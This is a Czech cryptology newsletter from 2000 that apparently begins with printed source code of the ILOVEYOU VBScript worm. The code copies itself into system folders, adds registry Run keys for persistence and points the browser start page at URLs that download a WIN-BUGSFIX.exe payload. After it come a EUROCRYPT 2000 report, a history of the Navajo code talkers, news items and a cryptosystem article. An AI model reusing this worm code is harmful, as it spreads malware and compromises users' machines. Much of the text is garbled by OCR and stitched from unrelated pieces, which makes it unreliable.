On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

nn

eq=
ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject(""W Script.Shell")

rr=wscr.RegRead("HKEY CURRENT USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY CURRENT USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set ¢ = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
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regruns()

html()

spreadtoemail()

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate

"HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel3
2" dirsystem&"\MSKernel32.vbs"

regcreate

"HKEY LOCAL_ MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi
n32DLL",dirwin&"\Win32DLL.vbs"

downread=""

downread=regget("HKEY CURRENT USER\Software\Microsoft\Internet
Explorer\Download Directory")

if (downread="") then

downread="c:\"

end if

if (fileexist(dirsystem&"\WinFAT32.exe")=1) then

Randomize

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HIKhjnwerhjkxcvytwertnMTFwetrdstmhPnjw6587
345gvsdf7679njbvYT/WIN-BUGSFIX.exe"

elseif num = 2 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKInwetryDGFikjUlyqwerWe54678632
4hjk4jnHHGbvbmKLJIKjhkqj4w/WIN-BUGSFIX.exe"

elseif num = 3 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6 TRjkcbGRpGqaq198vbFV ShfFEkbopBdQZnmPOh
fgER67b3Vbvg/WIN-BUGSFIX.exe"

elseif num = 4 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgthjksdfjkINBmnfgkKLHjkqwtuHIBhAFSDGjkhYUg
qwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-
BUGSFIX.exe"

end if

end if

skeoskoskokoskok

Zdroje:

Pavel Baudis : Obraz virové problematiky v roce 2000, sbornik konference Security 2000
Igor Hak : Viry existuji (zkuSenosti z praxe), sbornik konference Security 2000

Petr Odehnal : Jaka prostiedi dnes tvoti zivnou piidu viram, sbornik konference Security 2000
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D. EUROCRYPT 2000
Mgr. Pavel Vondruska (NBU)

Mezinarodni konference EUROCRYPT 2000 se konala 14.5. az 18.5. v Bruggach
(Belgie). Konferenci potradala IACR (International Association for Cryptolgic Research) ve
spolupraci s belgickou odbornou skupinou COSIC.

Konference se zucastnilo celkem cca 440 expertii z celého svéta. Zastoupeny byly
vSechny kontinenty, nejvétsi ucast byla z USA, Belgie (pofadajici stat), Francie,... . Z CR se
ztcastnilo devét odbornikd.

Pritomna byla cela svétova kryptologicka $picka. Z téch nejznaméjsich uvedu (v
zavorce vysledek nebo fakt, ktery nositele ptislusného jména predevsim proslavil) naptiklad:
Shamir (RSA, Twinkle) , Rivest (RSA), Biham (diferen¢ni kryptoanalyza), Zimmermann
(PGP), Lenstra (faktorizace), van Oorschot (autor jedné z nejzndméjSich monografii o
kryptografii), Diffie (krypotsystém Diffie-Helmann), McCurley (soucasny ptredseda IACR),
Wagner (A5/1, slide-attack), Rabin (Rabinovo schéma) a desitky dalSich.

Konference Eurocrypt je spole¢né s konfererenci Crypto (pravidelné pofadané v Santa
Barbate - USA) nejvyznamngjsi akci v oblasti kryptologie v kalendainim roce. Tomu také
v této oblasti v obdobi od minulé konference, EUROCRYPT 1999, ktera se konala v Praze. V
kazdé sekci tak vzdy zazné€ly peclivé vybrané referaty, které vybiral programovy vybor z
velkého mnozstvi doslych referatd. Jednotlivé sméry a tedy ptislusné ¢lenéni bylo vybrano
nasledovné (v zavorce pocet prednasek):

- Factoring and Discrete Logarithm (3)

- Cryptoanalysis I: Digital Signatures (4)

- Private Information Retrieval (2)

- Key Management Protocols (3)

- Thresold Cryptography and Digital Signatures (4)

- Public-Key Encryption (2)

- Quantum Cryptography (2)

- Multi-Party Compution and Information Theory (3)
- Cryptoanalysis II: Public-Key (3)

- Zero Knowledge (2)

- Symetric Cryptography (3)

- Boolean Functions and Hardware (3)

- Voting Schemes (2)

- Cryptoanalysis III: Stream Ciphers and Block Ciphers (2)

Program byl jiz tradi¢né doplnén o poster session (16 piispévkl) a rump session (18
prispévki) a dale o dvé prednasky zvanych fecnika : Mike Walker a A.E.Sale .
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Kratky obsah nékterych vybranych témat

Factorization of a 512-Bit RSA Modulus

Jednalo se o prezentaci mimotadné dulezitého vysledku ze srpna loniského roku - faktorizace
512 bitového modulu RSA. Tedy modulu, ktery se v komercnich aplikacich stale jesté
pouziva. Fakt a metoda je odborné vefejnosti znama - zde zaznél tento ptispévek jako prvni
predevsim proto, ze IACR takto chtélo ocenit vSechny ty, kteti ptispeli k dosazeni tohoto cile
ke kterému se v nékolika poslednich letech sméfovalo.

Lenstra,Shamir : Analysis and Optimization of the TWINKLE Factoring Device

Profesor Shamir upravil své optoelektronické zatizeni, které bylo poprvé predstaveno na rump
session loni v Praze. Zatizeni produkuje data vhodna ke zpracovani metodou NFS nikoliv QS
jako prva verze. Podafilo se zvysit takt zafizeni 10x. Teoreticky (spoluprace 80 000 PC a
vyroba 5000 zatfizeni TWINKLE) je mozné touto metodou faktorizovat jiz 768 bitovy modul
RSA.

F.Grieu : A Chosen Message Attack on the ISO/IEC 9796-1 Signature Scheme

F.Grieu pfedvedl utok proti podpisovému standardu ISO/IEC 9796-1. Nejednd se jen o
teoretickou slabinu, ale o prakticky proveditelny utok. Rozebirana byla napi. moznost, kdy lze
padélat podpis znamé zpravy , pokud jsou k dispozici 3 zpravy se stejnym veiejnym
exponentem. Postup neni vypocetné slozity. Chyba je natolik zavazna, ze vyzaduje zménu
tohoto standardu.

M.Girault aj.Misarsky - Cryptanalysis of Contermeasures Proposed for Repairing ISO
9796-1

Standard ISO 9796-1 (publikovan v roce 1991) byl prvnim standardem pro digitalni podpis,
ktery umoznoval message recovary. Nedostatky, které¢ byly béhem roku 1999 odhaleny, vedly
k navrhu riznych opatfeni k odstranéni moznych bezpecnostnich probléma. Zde je
analyzovéno pét z téchto navrhda.

Naccache,Coron,Joye,Pailier - New Attacks on PKCS# v. 1.5 Encryption

Prezentace dalSiho vyznamného vysledku z podzimu roku 1999. Publikovany zde byly
technické detaily utoku. Pfipomenme, Ze tento standard je nadale pouzivan v soucasnych
komer¢nich produktech.

E.Jaulmes, A.Joux : A NICE Cryptanalysis

Prezentovan chosen-ciphertext attack proti obéma verzim kryptosystému NICE . Systém
NICE byl prezentovan v roce 1999 jako novy mozny kryptosystém s vefejnym klicem.
Vzhledem k obecnym podminkdm utoku to znamena, Ze tento systém nelze povazovat za
bezpecny.

P.Sarkar,S.Maitra : Construction of Nonlinear Boolean Functions with Important
Cryptographic Properties

Nejednalo se o prezentaci vysledku svétového vyznamu, ale o velice dobfe vypracovanou
teorii, véetné ndvodu na praktické vyhledavani vhodnych nelinearnach Booleovskych vektort,
které jsou nutné pii konstrukei vlastnich kvalitnich streamovych Sifer.
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A.Biryukov,D.Wagner : Advanced Slide Attacks
D.Wagner (viz nepfili§ vydatené foto z prednésky)
predstavil nejnovéjsi  utok na blokové Sifry
Feistelova typu. Ukazuje se, Ze pokud je kli¢
pouzivan opakované nebo spotiebovavan periodicky,
jednd se o vaznou chybu kryptosystému a utok pak
lze pouzit bez ohledu na pocet pouzitych rund -
tj.zvySovanim poctu rund se nezvysi kvalita Sifry.
Utok byl piedveden na riiznych variantach DESX a i
na ruském Sifrovém standardu GOST (verze 20
rund).

Prednasky zvanych fecnika :

Mike Walker - On the Security of 3GPP Networks

Vzhledem k zndmym Gtokdim na verzi A5/1 (1999,2000) , ktera se pouziva mimo jinéiv CR,
se ukazuje nutnost zavést bezpecny provoz mobilnich telefonli. Pfednasejici seznamil se
specifikaci WCDMA - "prvniho standardu pro mobilni komunikaci - tfeti generace ".

A.E.Sale - Colossus and the German Lorenz Cipher
Historické téma. Rekonstrukce zatizeni Colossus, které za druhé svétové valky umoziovalo
lustit némeckou $ifru zatizeni Lorenz.

Rump Session

Celkem ptedneseno 18 piispévkd.

(novém americkém standardu pro Sifrovani, ktery nyni podrobi analyze NIST) se rozhodla
evropska kryptologicka obec vyhlasit vytvofeni vlastniho standardu - NESSIE (New
European Schemes for Signature, Integrity and Encryption). K NESSIE viz samostany ¢lanek
v tomto sesite.

Ptisti konference EUROCRYPT 2001 se bude konat ve Svycarském Innsbrucku.
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E. CODE TALKERS

Dil III. - Od Iwo Jimy k mluvici figurce firmy Hasbro
Mgr. Pavel Vondruska, NBU

V roce 1942 Zilo celkem 50 000 indiand Navaji. Koncem roku 1945 z nich slouzilo 540 u
namotnictva, z toho 375 (nékde udavano 420) jich slouzilo jako ,,code talkers — mluvci
v kédech. Indidni, kteti prosli vycvikovym
taborem v Pendeltonu v Kalifornii, byli
nasazeni postupné¢ do vSech Sesti
americkych namotnich divizi, které
operovaly v Pacifiku. Zde slouzili od roku
1942 az do konce valky. Jejich pocet se
postupné zvySoval z 29 na cca 400.
Predavali zpravy nejvyssiho utajeni.
Vysledky  nejkrvavéjSich  bitev -
Guadalcanal, Tarawa, Peleliu, Iwo Jima -
Casto zalezely na jejich pfesné a rychlé
praci. Major Howard Connor z paté
namoini divize ve svych vzpominkach
pise, ze kdyby nebylo ,mluvéich v kddech®, nikdy by nebylo mozné zvitézit u Iwo Jimy.
V této divizi bylo zafazeno 6 Navajii. BEhem prvnich dvou dnt této bitvy pfijali pies 800
zprav a vSechny tyto zpravy byly pfijaty bez chyby! Vykon, ktery pomoci klasickych , tehdy
pouzivanych Sifrovych systémill nebylo mozné dosdhnout. Operativnost, bezpecnost, rychlost
a presnost v predavani taktickych zprav ptinesly Americantim v této bitveé vitézstvi.

Jesté dlouho po valce byly vSechny informace o ,.tajné americké zbrani“ ve valce o
ostrovy klasifikovany jako pfisn¢ tajné. Indiany Navajo nikdo neoslavoval a o jejich
hrdinskych ¢inech a imorné praci se nesmélo mluvit. Americ¢ané veédéli, ze se Japoncim
nepodafilo kéd prolomit, a tak Navajové ,,mluv¢i v kddech®
byli jesteé pouziti ve valce v Koreji v roce 1950 a dokonce (coz
neni pfili§ zndma informace) v jesté¢ v Sedesatych letech ve
valce ve Vietnamu. Ani v téchto valkdch nebyl protivnik
uspésny a kod prolomen nebyl. Soucasné to ukazuje, jak tajny
byl cely projekt a jak dlouho se jej a prislusné kédy podatilo
udrZet v tajnosti.

Od roku 1969 byla postupné vefejnost seznamovana
s nékterymi skutecnostmi, které se ,,mluvéich v kodech*
tykaly. Vroce 1971 prezident Nixon oficidlné podckoval
vsem Navajim, ktefi se béhem svétové valky zaslouzili svym
»patriotismem, dimyslnosti a kurdzi“ o vitézstvi USA nad
Japonskem. Vroce 1983 byl vyhlaSen c¢trnacty duben
»Narodnim dnem mluvcich v kédech* (National Code Talkers
Day) na pamatku vSech muzu, ktefi slouzili za druhé svétové
valky v Tichomoii. Prezident Ronald Reagan osobné ud¢lil
vale¢nym veteranim — ,mluvéim v kodech® vysoka statni
vyznamenani. V roce 1988 zalozil jeden z valecnych veterant
indian Richard Mike ve své restauraci v navajské rezervaci
Kayenta muzeum na pamatku cinli téchto specialné

Crypto - World 2000 67



vycvicenych indianti. Muzeum je velice dobfe znamé i v Japonsku. Navstéva je doporucovana
japonskymi cestovnimi kancelafemi v privodcich po USA. Japonci se zde na své cesté ke
Grand Canyonu ¢asto zastavuji.
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Na vefejnosti se postupné
objevovaly ukédzky kodu, které
byly za druhé svétové valky
pouzivany. Cely kodovy material
byl nakonec odtajnén 3.11.1999.
V ptiloze je uvedena koédova
kniha, ktera byla pouzivana
v poslednich dnech druhé
svétové valky. Podle této knihy
jsem také vytvofil ndzev druhého
dilu tohoto volného vypravéni o
,,mluvcich v koddech” - YIL-TAS
GLOE-IH-DOT-SAHI UT-ZAH,

coz znamena ,kod bude
uspésny“.

Kod byl opravdu
uspésny, piinesl AmeriCanim

pravdépodobné vitézstvi v bitveé
o ostrovy. Jak to ale bylo se

HOZO=C0 KAY=HA=TIHH N . .
skute¢nou kryptologickou silou

kodového systému? Opravdu
byli Japonci proti nému bezmocni? Na tyto otazky ndm castecné pomuiize odpovédet piibeh
serzanta Joe Kieyoomia z druh¢ svétové valky.

Serzant Joe Kieyoomia mohl za druhé svétové valky sehrat témét rozhodujici ulohu
v bitvé o ostrovy. Byl totiz indidn z kmene Navajo, neslouzil u amerického ndmoinictva, ale u
dvousté de¢lostielecké brigady. Po kapitulaci Filipin (1942), byl zajat a v japonském zajeti
stravil 43 mésict. Kratce po svém zajeti byl oddélen od jednotky a poslan do Japonska — do
mesta Nagasaki. Japonci si o ném mysleli, vzhledem k jeho jménu a barvé pleti, Ze neni
American, ale Japonec, ktery slouzil v americké armad¢ a jako takovy mél byt fadné
vyslechnut a po té¢ odsouzen. Japonci mu zpocatku nevéfili, ze v USA ziji 1 1idé jiné pleti nez
bilé a ¢erné a ze je rodily American. O jeho piipad se zajimala i1 japonska rozvédka. Po mnoha
dnech stradani a utrpeni (v¢etné hladovéni a biti) se stalo néco necekaného, Joa navstivila dvé
krasna japonskd dévcata a napsala mu na tabulku né€kolik slov v navajstin€. Joe musel fikat,
co ta slova v angli¢tiné znamenaji. Pamatoval si, ze mezi slovy byly vyrazy ptak, zelva, voda.
Joe nic nevédél o ,mluvéich v koédech a nevédél, ze by mohl pomoci Japoncim k
dekodovani téch nejtajnéjSich zprav. Vzhledem k problematické moznosti zachytavani slov
(viz popis jazyka) a vzhledem k tomu, ze predkladané texty byly vytvoreny pomoci kdédové
knihy, nebyly Japonciim Joevy pieklady pftilis platné. Japonci pochopili, Ze se jedna o kod
v navajstiné a chtéli tento kod od Joea za kazdou cenu ziskat. Jednoho zimniho dne Joa
odvedli bosé¢ho ven. Joe musel stat bos ve snéhu pii teploté 27 stupiili pod nulou. Bylo mu
feCeno, ze zde bude stat tak dlouho, dokud neprozradi navajsky kod. Teprve po hodiné jej
odvedli zpét do cely. Joe nemohl prozradit, do ceho nebyl zasvécen. Joe vzpominal, jak si pial
zemfit, ale Japonci jej hlidali a rafinované mucili. Po nékolika dalSich mucenich nakonec
Japonci pokusy ziskat kod od Joea vzdali. Joe zlstal v zajeti ve véznici v Nagasaki. Zde
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dokonce zazil i vybuch druhé atomové bomby, ktera explodovala nad Nagasaki. Tento
vybuch, chranén tlustymi zdmi své cely, piezil. Byl osvobozen tfi dny po vybuchu atomové
bomby. Teprve rok po svém osvobozeni se dozvédél od americkych uradi o ,,mluvcich
v kodech* a musel se zavazat, Zze o svych zazitcich nebude po dobu utajeni celého systému
mluvit. Jeho ptibéh byl publikovan teprve v roce 1997.

Tento ptib¢h dokazuje, ze Japonci byli v lusténi kodu dale, nez Americané v roce 1945
tusili a je pravdépodobné, Ze kdyby méli Japonci k dispozici velky pocet dobfe zachycenych
zprav a prislusnou analyzu situace, ke které se zpravy vztahovaly, ze by koéd japonsti
kryptoanalytici prolomili...

Pokud v USA néco vzbudi zijem
médii a vefejnosti, je snaha to i komercné
vyuzit, a tak jeSt€ vtomto roce ma
Hollywood natocit dokonce hned dva filmy,
které budou barvité¢ liCit ptib&hy, které
»zazili“ Navajové bcéhem druhé svétové
valky. Znama firma na hracky Hasbro Inc. ,
vlednu tohoto roku vydala roztomilou
figurku indidna GI Joe. Jednd se o
indidnského spojaie z druhé svétové valky -
,mluvciho v kodech®. Je to dokonce prvni
figurka ze série figurek vojaka, které firma
Hasbro vyrobila, ktera mluvi. Ano, GI Joe
mluvi navajStinou a dokonce nahravku
piipravil veterdn z druhé svétové valky -
Sam Billison. Sam Billison je prezidentem
Navajo Code Talker Association. Pfizndm
se, ze prave tato figurka (USD 24.99) mé
inspirovala k sepsani téchto radki, které se
aspont trochu snazily poodhalit pravdu o
,mluvéich v kodech® diive, nez ptibchy
hollywoodského stylu vytvofi Uplné jiny,
pro divaky ,,zajimav¢jsi® obrazek - legendu.
V jednom zfilmi pry budou liceni tito
indiani jako parasutisté, kteii byli shozeni do
vnitrozemi  ostrova a zde pfipravuji
podminky k vylodéni americké namoini
pechoty , tak jako skutecni ,,code talkers® maji i oni vysilacku, ale také granaty, moc granatl a
vrhaci noZe a umi se plizit jako pravi indidni ...

Takze nashledanou v kiné.

Obr.1 - ,,Code Talkers*

Obr.2 - medaile udélovana prezidentem Renaldem Reganem vale¢nym veteranim

Obr.3 - hymna namoinich jednotek, kterou v roce 1944 piepsal indiansky instruktor Jimmy
King do navajstiny

Obr.4 - figurka GI Joe od firmy Hasbro
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F. Letem Sifrovym svétem

l. (J.Pinkava) Ve dnech 30.-31.kvétna 2000 vyslo nové ¢islo RSA Bulletinu:
http://www.rsasecurity.com/rsalabs/bulletins/index.html obsahujici ¢lanek: Robert D.
Silverman (RSA Laboratories): A Cost-Based Security Analysis of Symmetric and
Asymmetric Key Length. Z ¢lanku: "Zatimco ¢lanek Lenstry a Verheula [1] dospiva k zavéru,
ze 1024 bitovy kli¢ bude bezpecny pouze do roku 2002, shleddvame tento zavér za
neopodstatnény. Toto tvrzeni bylo uc¢inéno za predpokladu, ze 56-bitova DES byla zranitelna
Jiz v roce 1982, zatimco ve skute¢nosti byla DES fakticky rozbita teprve v roce 1997. MliZze
n¢kdo verit tomu, ze problém, ktery je 7-milionkrat tézsi nez RSA-512 (a vyzaduje 6
Terabajtlh paméti), bude fesitelny béhem nékolika malo rokd, kdyz RSA-512 bylo teprve nyni
pravé rozbito? Cena paméti a obtiznost ptipravy ptislusného hardware pro feseni souvisejici
matice ddva moznost tvrdit, Ze 1024 bitové kli¢e budou bezpecné jesté nejméné 20 let (pokud
nebudou vynalezeny nové neocekavané faktorizacni algoritmy ). Dnes neexistuje hardware,
ktery by umoznil utok na 1024 bitovy kli¢ metodou NFS. Diskuse o totalnim poctu cykl na
Internetu je irelevantni, pokud neexistuji pocita¢e dostateéné velké, aby na nich mohla bézet
NFS.*

[1]Lenstra A.; and Verheul, E.: Selecting Cryptographic keys.

2. Pokud shénite informace o virech a antivirovych programech, doporucuji velice dobie
udrzovanou stranku 18-ti letého studenta Igora Haka (Igiho) na URL adrese : www.viry.cz.
Lze se zde zapsat i do konference o virech . Konference ma v soucasné dobé¢ asi 250
ucastnikd.

3. V dubnu byl v kanadském Quebecu zatcen patnéctilety hacker, znamy pod ptezdivkou
Mafiboy. Mlady hacker byl obvinén za vniknuti do serveru CNN.com. Na zaklad¢ dalsiho
Setfeni byl také obvinén za Gcast na sérii utokll na Yahoo!, Amazon.com, Buy.com a Excite.
Pti proniknuti na server znamé americké televizni stanice CNN bylo vyfazeno kratkodobé

z ¢innosti na 1200 internetovych stranek a Skoda doséhla nékolika miliont dolard. Vzhledem
k tomu, Ze hacker jesté neni plnolety, hrozi mu odnéti svobody do dvou let. (CTK).

4. Dalsi zajimavé a aktudlni informace na téma Microsoft a NSA-KEY lze nalézt na
http://cryptome.org/nsakey-ms-dc.htm

5. Na URL adrese: http://www.ostgate.com/classification.html je k dispozici ¢lanek o
bezpecnostni klasifikaci vojenskych systému v USA.

6. Bezpecnostni problém v PGP 5.0 je popsdn na URL adrese :
http://cryptome.org/cipn052400.htm#pgp
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Informacni seSit GCUCMP
Crypto-World 7-8/2000

Pripravil : Mgr.Pavel Vondruska,
¢len GCUCMP, BITIS, IACR, ISACA.
Sesit je rozesilan registrovanym ¢tenaiam,
registrace na adrese pavel.vondruska@post.cz , subject : Crypto-World
seSity najdete také na adrese www.mujweb.cz/veda/gcucmp
(167 e-mail vytisku)
Uzavérka 29.7.2000
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+ priloha : 10000.txt

Dnesni ptilohou je soubor 10000.txt, ktery obsahuje prvnich 10 000 prvocisel

(dal$i informace viz zavér ¢lanku "Fermatlv test primality, Carmichaelova ¢isla, bez¢tvercova
¢isla" , str.9).
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A. Ohlédnuti za L.ro¢nikem seSitu Crypto-World 1999/2000
Mgr. Pavel Vondruska (NBU)

Rok 1999 byl pro skupinu odborniki sdruZenych v kryptologické sekci Jednoty
Ceskych matematikii a fyziki - GCUCMP (Group of Cryptology Union of Czech
Mathematicians and Physicists) velmi Gspésny. Vyvrcholenim jejich témét dvouletého Usili
bylo uspotfaddani mezinarodni konference Eurocrypt ‘99 v Praze. Tato konference patii v
Crypto, ktera se pravideln¢ kona v USA v Santa Barbate). Eurocrypt je "putovni" konference
a postupné se pofadd v riznych méstech Evropy. Uspotfadani takovéto konference je pro
prislusny stat a jeho odborné kryptologické struktury vzdy velkym ocenénim jejich prace.
Podle kladnych ohlasii se zd4, ze konference v Praze se vydafila a zatadila se mezi ty lepsi
Eurocrypty. Pravidelné schlize organiza¢niho vyboru skoncily vyhodnocenim konference v
1éte 1999.

Po skonceni konference mi bylo az trochu lito opustit kryptodéni a zdalo se mi, Ze
mam najednou spoustu volného ¢asu (v ramci organiza¢niho vyboru jsem mél mimo jiné na
starosti e-mail schranku konference). Také jsem si zvykl na témét dvoulety styk s vyborem
IACR, pfednasejicimi, studenty, stipendisty (mezi n€z patii napt. dnes jiz hvézda prvni
velikosti Biruyukov, pro kterého jsme tehdy vytizovali slevy).

Z téchto - ¢astecné nostalgickych - diivodll jsem se nabidl, ze se pokusim zorganizovat
psani jakéhosi sesitu, ktery by byl uréen pro ¢leny GCUCMP a slouzil k informacim o déni ve
svéte kryptologie. Pfizndm se, Ze jsem pocital s tim, Ze se zapoji svymi ptispévky i1 nékteii
dalsi ¢lenové GCUCMP. Nejjednodussi formou se zdalo byt napsani sesitu v MS Wordu a
jeho rozesilani e-mailem na adresu ¢lent GCUCMP. Hned od druhého ¢isla se v§ak ozvalo
par zajemci mimo GCUCMP. Rozhodl jsem se, Zze budu seSit rozesilat vSem zdjemcim a
vznikla tak databaze registrovanych odbérateld. Se seSitem mi od zacatku velice pomohl ing.
Jaroslav Pinkava, CSc., kterému touto cestou velice dé¢kuji. Nejen za to, ze pravidelné do
seSitu prispiva, ale také za mnohd upozornéni na zajimavé ¢lanky a odkazy, které pak mohu
vyuzit v rubrice "Letem Sifrovym svétem".

Béhem roku pak doslo k nékterym zméndm. Sesit zacal "vychazet" v PDF formatu,
koncem roku 1999 jsem vytvoril jednoduchou WWW stranku
(http://www.mujweb.cz/veda/gcucmp ), na kterou jsem umistil starsi ¢isla. Pon¢kud mé totiz
Casové zatéZzovalo zasilat "stard" Cisla seSiti jednotlivym zajemctim. Zpravidla novée
registrovany uzivatel mél zajem i o vSechna starsi Cisla.

Mnozstvi ¢tendii se pomalu, ale pravidelné zvySuje; zajem znatelné¢ vzrostl po
konferencich CACK a Security 2000, kde bylo ze seitu vefejné citovano. Po uvefejnéni
moznosti registrovat se pro zasilani tohoto Casopisu v diskusi o virech (Cerven 2000) pak
pocet zdjemct vzrostl o dalSich vice nez padesat odbérateld.

Statistika nartstu odbératelii , poctu stran a délky seSitu v bytech je nasledujici:
Lrocnik seSitu Crypto-World

9/99 10/99 11/99 12/99 1/2000  |2/2000
Odbératel |25 31 35 47 62 76
Stran 7 10 9 9 9 11
Byt 118655 163382 [312601 370720 |208 173 |215768

Crypto - World 2000 72


http://www.mujweb.cz/veda/gcucmp

3/2000 [4/2000 5/2000 6/2000 7-8/2000 | 7-8/2001
Odbérateld 90 102 107 116 163 890
Stran 11 13 15 16 19 40
Byt 212279 1333340 |354749 |502347 |150000 |2 150000

V poslednim sloupci je uveden odhad, ktery vznikl prolozenim ktivky udaji 9/99 az 7-8/2000
(viz komentaf nize).

Odhad sledovanych ukazateli - pocet listi a velikost rozesilaného seSitu - mohu ovlivnit.
Budu se snazit stabilizovat tyto parametry na rozumnych hodnotach 12-16 stran, 400-600 kB.
Odbeératelé se tedy nemusi obavat dalSiho nartstu velikosti rozesilaného souboru a doby, kdy
by pftijaty Crypto-World obsadil vSechen (zlym spravcem povoleny) prostor v jeho poStovni
schréance.

K poctu odbérateli bych poznamenal, Ze uvedeny odhad je sice velice pfiznivy a
povzbuzujici, ale soucasné si dovolim tvrdit, Ze takovy ndrdst zcela urcité¢ nenastane. V
soucasné dob¢ jiz vétSina expertl, ktefi v dané oblasti pracuji, seSit odebira, a tak jaksi
potencialnich ¢tenéit jiz asi ani tolik neni (pokud ovSem doba PKI, e-komerce a e-obchodu a
e-penéz nevytvoii nové e-Ctenaie ...). K souasnému slozeni ¢tendii prozradim, ze piiblizné
80 odbeératelii jsou odbornici z oblasti informacni bezpecnosti, pfiblizn¢ 50 odbératelii jsou
spravci siti nebo informacnich systéma, 6 ctenafti jsou novinafi odbornych casopisii nebo
obecnéji novinafi a cca dvacet pét zdjemct neumim vzhledem k absenci tidaju zaradit .

Kdyz se jiz zminuji o struktufe odbérateld, uvedu jesté malou statistiku, kterd vznikla na
zakladé¢ udaju z 28.6.2000:

- seSit je rozesilan na 163 e-mail adres

- sesit je rozesilan do dvou statd (156 x CR, 7 x Slovensko)

- registrovano je pet Ctenarek

- nejvice ¢tendil ma svoji adresu registrovanu na doméné post.cz (12x)

- nasleduji domény : volny.cz (10x), nbu.cz (8x), cuni.cz (8x), aec.cz (7x), decros.cz (6x),
cvut.cz (5x), army.cz (3x), mvcr.cz (3x)

- zbyvajicich 113 Ctenafi je registrovano na dalSich riznych 90 doménach

- 96 odbératelli je mi osobn¢ zndmo

IL.ro¢nik

Prvé ¢islo Il.rocniku (9/2000) vyjde kolem 10.zé&fi. Pokud mi to ¢as dovoli, pokusim se v
tomto novém ro¢niku provést ur€ité zmény. Sesit bude mit nové logo a titulni stranku. Dale
chystam nepfili§ naro¢nou soutéz pro Ctenare, ktera by méla koncit ¢islem 12/2000. Pokud se
podaii najit sponzora, mohl by vitéz ziskat mimo slavy i néjaky "vanoc¢ni darek". Asi jste jiz

vvvvvv

zménou je moznost registrace k odbéru seSitu pfimo vyplnénim registraéniho "formulafe" na
wWww strance a moznost zaslat dotaz nebo komentai také pfimo z komunika¢niho okna na
www strance. Pfislibeny jsou i nékteré velmi hodnotné ¢lanky od novych autort.
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FAQ (Frequently Ask Question)

Zavérem si dovolim odpovédet na Casto kladené otazky :
- ano, sesit pisi a rozesilam zadarmo
- za Clanky uvetejnéné v sesité se neplati
- jsou vitany piispévky vSech odbératela
- vedeni seSitu patii mezi mé zaliby a pokusim se jej vydavat dle svych moznosti 1
nadale

END
Vsem Ctenaiim tohoto seSitu pteji hezké proziti zbytku letnich prazdnin a dovolenych.

B. Kryptosystém s verejnym klicem XTR
Ing. Jaroslav Pinkava (AEC spol. s r.o.)

1. Uvod

Na adrese http://www.ecstr.com/ byl nedavno konecné zvefejnén design nového
kryptosystému s vefejnym klicem, ktery autofi Arjen R. Lenstra a Eric R. Verheul nazvali
XTR. Zvetejnény materidl je preprintem ¢lanku, ktery byl pfijat k opublikovéani na konferenci
Crypto 2000 v Santa Barbaie (kon4 se 20. — 24. srpna tohoto roku). Ctenaii Crypto-Worldu jiz
byli o existenci tohoto kryptosystému struéné informovani v ¢isle 4/2000.

Systétm XTR je zalozen na nové metodé¢ umoziujici reprezentovat prvky podgrupy
multiplikativni grupy konec¢ného télesa. Cilem navrhu XTR je dle autorti navrhnout takovy
kryptosystém s vefejnym klicem, jehoz délka parametra 1 vlastni vypoctové naroky vedou
k podstatnym tspordm jak v komunikacich tak pfi vypoctech a to bez snizeni pfislusné
kryptografické bezpecnosti.

2. Néktera znaceni a definice

Popisi pfislusny postup jen s nezbytnymi technickymi podrobnostmi. Zdivodnéni a dalsi
detaily lze nalézt v komentovaném ¢lanku [1].
GF(m) ... téleso (mod m)
GF(m)* ... multiplikativni grupa télesa GF(m)

Budeme déle ptedpokladat, ze p je takové prvocislo, ze
a)p=2mod 3
b) mnoho¢len (tzv. $esty cyklotomicky — viz [2]) ¢s(p) =p° —p +1 spodteny v p ma
jako dé¢litele prvocislo q.
Symbolem g bude oznagen generator GF (p®)* majici tad q.
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Pro vyie zvolené p lze libovolny prvek GF(p®) vyjadiit jako xja + x.a°, kde x,, X2 jsou
z GF(p), a a d® jsou kofeny polynomu X* + X + 1, které tvori optimalni normélni bazi pro
GF(p”) nad GF(p).

Jestlize h € GF (p®), pak k nému sdruzenymi prvky nad GF (p®) jsou h, h"* hP*.
Stopou Tr(h) nad GF (p®) prvku h &€ GF (p°) je soudet sdruzenych nad GF (p*) prvku h,
tj. Tr(h) = h + h"* + h*". Plati Tr(h) &€ GF (p?).

Pozn.: p2= p2, p4 = p4.

Oznagime F(c, X) mnohoélen X° — c¢X* + c¢PX — 1, pro ¢ & GF (p?) majici kofeny ho, h, hy v
GF (p°). Pro n € Z budeme znaéit ¢, = ho" + h;" + h,". Z lemmatu 2.3.2 &lanku vyplyva, Ze c,
jsou prvky GF (p?) .

Necht dale Sy(¢c) = (cn-1 » Cn » Cnt1)-

3. Zakladni algoritmy

Cely ¢lanek smétfuje k vyhodnoceni vypocetni slozitosti matematickych postupii nezbytnych
pii provadéni popisovanych kryptografickych postupii. Jednim z ustfednich algoritmti v tomto
sméru je algoritmus 2.3.7, ktery popisuje postup vypoctu Sy(c) .

